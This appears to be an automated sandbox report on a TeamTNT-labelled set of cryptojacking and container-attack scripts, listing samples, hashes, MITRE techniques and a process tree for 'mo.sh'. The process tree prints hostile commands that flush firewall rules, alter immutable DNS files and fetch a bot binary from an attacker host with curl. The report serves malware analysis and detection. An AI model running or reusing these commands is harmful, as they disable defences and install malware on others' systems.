Overview
overview
10Static
static
10SugarLogic...AWS.sh
ubuntu-18.04-amd64
6SugarLogic...AWS.sh
debian-9-armhf
6SugarLogic...AWS.sh
debian-9-mips
6SugarLogic...AWS.sh
debian-9-mipsel
6SugarLogic...nge.sh
ubuntu-18.04-amd64
6SugarLogic...nge.sh
debian-9-armhf
6SugarLogic...nge.sh
debian-9-mips
6SugarLogic...nge.sh
debian-9-mipsel
6SugarLogic...tup.sh
windows7-x64
3SugarLogic...tup.sh
windows10-2004-x64
3SugarLogic...bot.sh
windows7-x64
3SugarLogic...bot.sh
windows10-2004-x64
3SugarLogic...d_2.sh
ubuntu-18.04-amd64
7SugarLogic...d_2.sh
debian-9-armhf
7SugarLogic...d_2.sh
debian-9-mips
7SugarLogic...d_2.sh
debian-9-mipsel
7SugarLogic...oit.sh
windows7-x64
3SugarLogic...oit.sh
windows10-2004-x64
3SugarLogic...arch64
ubuntu-18.04-amd64
SugarLogic...arch64
debian-9-armhf
SugarLogic...arch64
debian-9-mips
SugarLogic...arch64
debian-9-mipsel
SugarLogic...x86_64
ubuntu-22.04-amd64
10SugarLogic.../bot_u
ubuntu-22.04-amd64
10SugarLogic...en2.sh
ubuntu-18.04-amd64
3SugarLogic...en2.sh
debian-9-armhf
4SugarLogic...en2.sh
debian-9-mips
3SugarLogic...en2.sh
debian-9-mipsel
3SugarLogic...cap.so
ubuntu-22.04-amd64
1SugarLogic.../mo.sh
ubuntu-18.04-amd64
7SugarLogic.../mo.sh
debian-9-armhf
7SugarLogic.../mo.sh
debian-9-mips
10Analysis
-
max time kernel
149s -
max time network
31s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
29-12-2024 23:10
Behavioral task
behavioral1
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral2
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral3
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsbe-20240418-en
debian-9-mips
Behavioral task
behavioral4
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/AWS.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral5
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral6
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-armhf-20240729-en
debian-9-armhf
Behavioral task
behavioral7
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral8
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Docker-API.IP.Range.sh
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral9
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral10
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.XMR.tmp.Setup.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral11
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral12
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes.put.the.bot.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral13
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral14
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral15
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral16
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/Kubernetes_root_PayLoad_2.sh
Resource
debian9-mipsel-20240729-en
debian-9-mipsel
Behavioral task
behavioral17
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win7-20240903-en
windows7-x64
Behavioral task
behavioral18
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/MountSshExploit.sh
Resource
win10v2004-20241007-en
windows10-2004-x64
Behavioral task
behavioral19
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
ubuntu1804-amd64-20240508-en
ubuntu-18.04-amd64
Behavioral task
behavioral20
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral21
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral22
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/aarch64
Resource
debian9-mipsel-20240611-en
debian-9-mipsel
Behavioral task
behavioral23
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/TNTb/x86_64
Resource
ubuntu2204-amd64-20240522.1-en
ubuntu-22.04-amd64
Behavioral task
behavioral24
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/bot_u
Resource
ubuntu2204-amd64-20240611-en
ubuntu-22.04-amd64
Behavioral task
behavioral25
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
ubuntu1804-amd64-20240729-en
ubuntu-18.04-amd64
Behavioral task
behavioral26
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral27
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
Behavioral task
behavioral28
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/kuben2.sh
Resource
debian9-mipsel-20240418-en
debian-9-mipsel
Behavioral task
behavioral29
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/libpcap.so
Resource
ubuntu2204-amd64-20240729-en
ubuntu-22.04-amd64
Behavioral task
behavioral30
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
ubuntu1804-amd64-20240611-en
ubuntu-18.04-amd64
Behavioral task
behavioral31
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-armhf-20240611-en
debian-9-armhf
Behavioral task
behavioral32
Sample
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
Resource
debian9-mipsbe-20240611-en
debian-9-mips
General
-
Target
SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh
-
Size
33KB
-
MD5
dd89ab7314e13989bdcae176a82078ac
-
SHA1
9ed46a6dde1dc1de4eed8185c1d622a5fc97092c
-
SHA256
1b72088fc6d780da95465f80ab26ba094d89232ff30a41b1b0113c355cfffa57
-
SHA512
e56722b308702bec178a1eca47c400af2435b57b190a10307aec0eebdfd4ef04ec6d63302a754b508a62d64668cb7b4edbc596a4e40c409e34b4934265d7db3d
-
SSDEEP
768:DBxlT2wDGWvWCrDN+FylT4hxXpGdKI3oB6RXrsdrCIZMfXxK2eJ5tLW:qWN+Fyl1dRoGrq9W
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 732 chmod -
Flushes firewall rules 1 TTPs 2 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 722 iptables 734 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf mo.sh -
Attempts to change immutable files 3 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 727 chattr 729 chattr 731 chattr -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps -
Process Discovery 1 TTPs 2 IoCs
Adversaries may try to discover information about running processes.
pid Process 718 ps 720 ps -
description ioc Process File opened for reading /proc/3/cmdline ps File opened for reading /proc/263/status ps File opened for reading /proc/1/status ps File opened for reading /proc/6/stat ps File opened for reading /proc/593/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/6/cmdline ps File opened for reading /proc/25/stat ps File opened for reading /proc/711/stat ps File opened for reading /proc/708/stat ps File opened for reading /proc/sys/kernel/osrelease ps File opened for reading /proc/108/cmdline ps File opened for reading /proc/26/cmdline ps File opened for reading /proc/108/stat ps File opened for reading /proc/711/status ps File opened for reading /proc/708/status ps File opened for reading /proc/709/cmdline ps File opened for reading /proc/26/stat ps File opened for reading /proc/709/stat ps File opened for reading /proc/713/stat ps File opened for reading /proc/76/status ps File opened for reading /proc/14/cmdline ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/692/cmdline ps File opened for reading /proc/265/status ps File opened for reading /proc/filesystems ps File opened for reading /proc/4/stat ps File opened for reading /proc/7/status ps File opened for reading /proc/14/stat ps File opened for reading /proc/106/status ps File opened for reading /proc/9/stat ps File opened for reading /proc/318/cmdline ps File opened for reading /proc/12/stat ps File opened for reading /proc/18/stat ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/11/status ps File opened for reading /proc/16/cmdline ps File opened for reading /proc/97/stat ps File opened for reading /proc/25/status ps File opened for reading /proc/76/cmdline ps File opened for reading /proc/25/status ps File opened for reading /proc/633/cmdline ps File opened for reading /proc/704/status ps File opened for reading /proc/7/cmdline ps File opened for reading /proc/97/cmdline ps File opened for reading /proc/589/status ps File opened for reading /proc/589/cmdline ps File opened for reading /proc/633/stat ps File opened for reading /proc/713/stat ps File opened for reading /proc/4/cmdline ps File opened for reading /proc/29/stat ps File opened for reading /proc/147/cmdline ps File opened for reading /proc/8/stat ps File opened for reading /proc/26/status ps File opened for reading /proc/self/stat ps File opened for reading /proc/43/stat ps File opened for reading /proc/20/status ps File opened for reading /proc/97/status ps File opened for reading /proc/591/cmdline ps File opened for reading /proc/5/stat ps File opened for reading /proc/12/cmdline ps File opened for reading /proc/573/status ps File opened for reading /proc/12/status ps File opened for reading /proc/21/stat ps
Processes
-
/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh"/tmp/SugarLogic_#teamtnt_by_@r3dbU7z/mo.sh"1⤵
- Writes DNS configuration
PID:711 -
/bin/hostnamehostname2⤵PID:716
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:718
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:719
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Process Discovery
- Reads runtime system information
PID:720
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:721
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:722
-
-
/usr/bin/chattrchattr -ia /etc/resolv.conf2⤵
- Attempts to change immutable files
PID:727
-
-
/usr/bin/chattrchattr +i /etc/resolv.conf2⤵
- Attempts to change immutable files
PID:729
-
-
/usr/bin/chattrchattr -ia / /tmp/ /var/ /var/tmp/2⤵
- Attempts to change immutable files
PID:731
-
-
/bin/chmodchmod 1777 /tmp/ /var/ /var/tmp/2⤵
- File and Directory Permissions Modification
PID:732
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:734
-
-
/usr/bin/curlcurl -sLk http://chimaera.cc/bin/KBot/x86_64 -o /tmp/.kube2⤵
- Checks CPU configuration
PID:736
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
1System Checks
1